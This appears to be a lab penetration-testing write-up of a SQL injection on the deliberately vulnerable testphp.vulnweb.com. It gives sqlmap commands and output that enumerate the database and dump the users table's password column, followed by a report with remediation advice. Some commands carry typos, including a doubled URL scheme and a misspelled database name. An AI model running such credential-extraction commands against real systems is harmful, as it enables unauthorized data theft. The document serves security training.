Commands used for SQL map credential exploiting:

Find Database:
Sqlmap -u “http://http://testphp.vulnweb.com/artists.php?artist=1" --dbs
Find Tables:
Sqlmap -u “http://http://testphp.vulnweb.com/artists.php?artist=1" -D acuerto --tables
Find Info on columns:
Sqlmap -u “http://http://testphp.vulnweb.com/artists.php?artist=1" -D acuerto -T users --columns
Find password on users:
Sqlmap -u “http://http://testphp.vulnweb.com/artists.php?artist=1" -D acuerto -T users -C pass

Screenshots:

```
┌──[✗]─[user@parrot]─[~]
└──╼ $sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.3#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting @ 20:23:15 /2025-04-30/

[20:23:15] [INFO] resuming back-end DBMS 'mysql'
[20:23:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
```

```
[20:23:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.6
[20:23:15] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[20:23:15] [INFO] fetched data logged to text files under '/home/user/.local/sha
re/sqlmap/output/testphp.vulnweb.com'
[20:23:15] [WARNING] your sqlmap version is outdated

[*] ending @ 20:23:15 /2025-04-30/
```

```
[20:24:57] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[20:24:57] [INFO] fetched data logged to text files under '/home/user/.local/sh
re/sqlmap/output/testphp.vulnweb.com'
[20:24:57] [WARNING] your sqlmap version is outdated

[*] ending @ 20:24:57 /2025-04-30/
```

```
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[20:25:53] [INFO] fetched data logged to text files under '/home/user/.local/sh
re/sqlmap/output/testphp.vulnweb.com'
[20:25:53] [WARNING] your sqlmap version is outdated

[*] ending @ 20:25:53 /2025-04-30/
```

```
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[20:26:54] [INFO] fetching entries of column(s) 'pass' for table 'users' in dat
base 'acuart'
Database: acuart
Table: users
[1 entry]
+------+
| pass |
+------+
| test |
+------+

[20:26:55] [INFO] table 'acuart.users' dumped to CSV file '/home/user/.local/sh
re/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[20:26:55] [INFO] fetched data logged to text files under '/home/user/.local/sh
re/sqlmap/output/testphp.vulnweb.com'
[20:26:55] [WARNING] your sqlmap version is outdated

[*] ending @ 20:26:55 /2025-04-30/
```

Report:

Vulnerability Exploitation Report: SQL Injection on testphp.vulnweb.com

Executive Summary

This report documents the identification and exploitation of a SQL injection vulnerability on the testphp.vulnweb.com website, specifically in the artists.php page. The vulnerability was discovered and exploited in a controlled environment using sqlmap, following professional guidelines and safety procedures.

Methodology

Target Identification

- **URL**: http://testphp.vulnweb.com/artists.php?artist=1
- **Parameter**: `artist` (GET parameter)
- **Environment**:
  - Web Server: Nginx 1.19.0 on Linux Ubuntu
  - Backend: PHP 5.6.40 with MySQL ≥ 5.6

Tools Used

- **sqlmap** (version 1.8.3#stable) - Automated SQL injection tool
- Note: The tool warned about being outdated, which should be addressed in future testing

Safety Procedures

- Testing was performed against a deliberately vulnerable test site (testphp.vulnweb.com)
- No real user data was compromised during testing
- All activities were logged and documented

Exploitation Process

Step 1: Database Enumeration

- Identified SQL injection point in the `artist` parameter
- Determined backend database as MySQL
- Enumerated available databases:
  - acuart
  - information_schema

Step 2: Table Structure Analysis

- Examined the structure of the `users` table in the `acuart` database
- Identified sensitive columns including:
  - `pass` (password)
  - `email`
  - `cc` (likely credit card information)
  - `uname` (username)

Step 3: Data Extraction

- Extracted password data from the `users` table
- Found one entry with password value: `test`
- All extracted data was automatically logged to CSV files by sqlmap

Proof of Concept

The successful extraction of database information and user credentials demonstrates:

1. The presence of a SQL injection vulnerability
2. The ability to enumerate database structure
3. The capability to extract sensitive user information
4. The risk of unauthorized access to the system

Findings

Vulnerability Details

- **Type**: Boolean-based blind SQL injection
- **Risk Level**: Critical
- **Impact**: Full database compromise possible
- **Affected Parameter**: `artist` in GET request

Extracted Sensitive Data

- Database name: acuart
- Table name: users
- Column names: name, address, cart, cc, email, pass, phone, uname
- Sample password: "test"

Recommendations

1. **Input Validation**: Implement strict input validation for the `artist` parameter
2. **Parameterized Queries**: Use prepared statements with parameterized queries
3. **Least Privilege**: Database user should have minimal necessary privileges
4. **Error Handling**: Implement proper error handling that doesn't expose database details
5. **WAF**: Consider implementing a Web Application Firewall
6. **Update PHP**: Upgrade from PHP 5.6.40 (which is end-of-life) to a supported version

Conclusion

The exploitation exercise successfully demonstrated a SQL injection vulnerability in the target application. The vulnerability allows complete compromise of the database, including access to sensitive user information. This test was conducted in a controlled environment following professional ethical guidelines, with all activities properly documented. The findings emphasize the critical importance of proper input validation and secure coding practices in web application development.

Documentation

All exploitation activities were automatically logged by sqlmap to:
`/home/user/.local/share/sqlmap/output/testphp.vulnweb.com`
Screenshots of the process are attached to this report, showing:

1. Initial sqlmap command and legal disclaimer
2. Database enumeration results
3. Table structure analysis
4. Password data extraction